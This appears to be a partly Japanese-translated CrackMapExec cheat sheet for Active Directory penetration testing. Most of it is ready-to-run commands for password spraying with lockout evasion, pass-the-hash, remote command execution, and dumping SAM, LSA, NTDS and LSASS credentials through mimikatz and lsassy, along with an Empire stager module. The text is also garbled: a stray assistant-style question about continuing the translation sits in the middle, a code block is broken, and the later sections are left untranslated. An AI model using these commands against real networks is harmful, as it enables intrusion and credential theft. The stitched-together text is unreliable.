コンテンツにスキップ

CrackMapExec チートシート

概要

CrackMapExec (CME) は、Windows/Active Directory環境におけるペネトレーションテストとレッドチーム作業のための事後対応ツールです。ネットワークペネトレーションテストのための「スイスアーミーナイフ」と表現されることが多く、複数のプロトコルを介した列挙、認証情報テスト、コマンド実行を可能にします。

⚠️ 警告: CrackMapExecは、明示的な許可がある環境でのみ使用すべきセキュリティテストツールです。

インストール

pipxを使用(推奨)

# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath

# Install CrackMapExec
pipx install crackmapexec

Kali Linuxの場合

sudo apt update
sudo apt install -y crackmapexec

GitHubから

git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install

Dockerを使用

docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec

基本的な使用方法

一般的な構文

crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]

サポートされているプロトコル

  • smb:サーバーメッセージブロック
  • winrm:Windows Remote Management
  • ldap:Lightweight Directory Access Protocol
  • mssql:Microsoft SQL Server
  • ssh:Secure Shell
  • rdp:リモートデスクトッププロトコル
  • ftp:ファイル転送プロトコル

ターゲット指定

# Single target
crackmapexec smb 192.168.1.100

# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101

# IP range
crackmapexec smb 192.168.1.1-255

# CIDR notation
crackmapexec smb 192.168.1.0/24

# From file
crackmapexec smb targets.txt

認証方法

ユーザー名とパスワード

# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'

# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'

# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'

# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

パススルーハッシュ

# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'

# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'

# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt

ローカル認証

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth

ドメイン認証

crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN

SMBプロトコルコマンド

基本的な列挙

# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares

# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users

# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups

# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

コマンド実行

Would you like me to continue with the remaining sections? I noticed that some sections (3-20) are currently blank. If you have specific text for those sections, I can translate them as well.```bash

Execute command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -x ‘whoami’

Execute PowerShell command

crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -X ‘$PSVersionTable’


### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'

# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt

# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'

WinRM Protocol Commands

Basic Enumeration

# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'

Command Execution

# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'

# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'

LDAP Protocol Commands

Basic Enumeration

# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain

# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users

# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups

# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers

# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol

# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts

Advanced Enumeration

# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description

# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation

# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate

# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt

# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt

MSSQL Protocol Commands

Basic Enumeration

# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'

# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'

Command Execution

# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'

# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'

Module Usage

Module Management

# List available modules
crackmapexec <protocol> --list-modules

# Get module options
crackmapexec <protocol> -M <module> --options

# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2

Common Modules

Mimikatz

# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'

# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'

# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'

Empire

# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http

PowerView

# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'

BloodHound

# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All

Lsassy

# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy

Enum_DNS

# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns

GOAD

# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad

Advanced Techniques

Password Spraying

# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'

# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt

# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10

Credential Harvesting

# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam

# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa

# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds

Database Operations

Initialize Database

crackmapexec smb 192.168.1.0/24 --database

View Database

# List hosts
crackmapexec smb --database -L

# List credentials
crackmapexec smb --database -C

# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1

Common Options

オプション説明
-h, --helpヘルプメッセージを表示して終了する
-t THREADS並行スレッドの数を設定 (デフォルト: 100)
--timeout TIMEOUT接続のタイムアウトを設定(デフォルト: 5秒)
--verbose詳細な出力を有効にする
--debugデバッグ出力を有効にする
--continue-on-success認証の成功後も認証の試行を継続する
--no-bruteforceブルートフォースは使用せず、提供された認証情報のみを使用する
--fail-limit LIMITホストでログイン試行を諦めるまでの失敗回数
--jitter JITTER認証試行間にランダムな遅延を追加(秒単位)
--local-authドメインではなくローカルアカウントを使用して認証する
-d, --domain DOMAIN認証するドメイン
--no-output出力を表示しない
--output-file FILEファイルに出力を書き込む
--logファイルへのログ記録を有効にする(デフォルト: ~/.cme/logs/)
オプション説明
--shares利用可能な共有を一覧表示
--sessionsアクティブセッションを一覧表示
--disksディスクを一覧表示
--loggedon-usersログオンしているユーザーの一覧
--usersドメインユーザーを一覧表示
--groupsドメイングループを一覧表示
--local-groupsローカルグループを一覧表示
--pass-polパスワードポリシーを取得
--rid-brute [MAX_RID]RIDをブルートフォースすることでユーザーを列挙する
--samSAMハッシュをダンプする
--lsaDump LSA secrets
--ntdsNTDS.ditをダンプ
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\}コマンドを実行する方法
オプション説明
--usersドメインユーザーを一覧表示
--groupsドメイングループを一覧表示
--computersドメインコンピューターを一覧表示
--domainドメイン情報を取得
--pass-polパスワードポリシーを取得
--trustsドメイントラストを取得
--asreproast [OUTFILE]AS-REP のローストが可能なユーザーを取得
--kerberoasting [OUTFILE]Kerberoastable ユーザーを取得
--trusted-for-delegationユーザー/コンピューターを制約なし委任で取得
--allowed-to-delegateユーザー/コンピューターを制約付き委任で取得
オプション説明
--port [PORT]WinRM ポート (デフォルト: 5985)
--sslWinRMにSSLを使用する
オプション説明
--port [PORT]MSSQL ポート (デフォルト: 1433)
-q QUERYSQLクエリを実行
https://github.com/byt3bl33d3r/CrackMapExec- [公式GitHubリポジトリ](
https://github.com/byt3bl33d3r/CrackMapExec/wiki)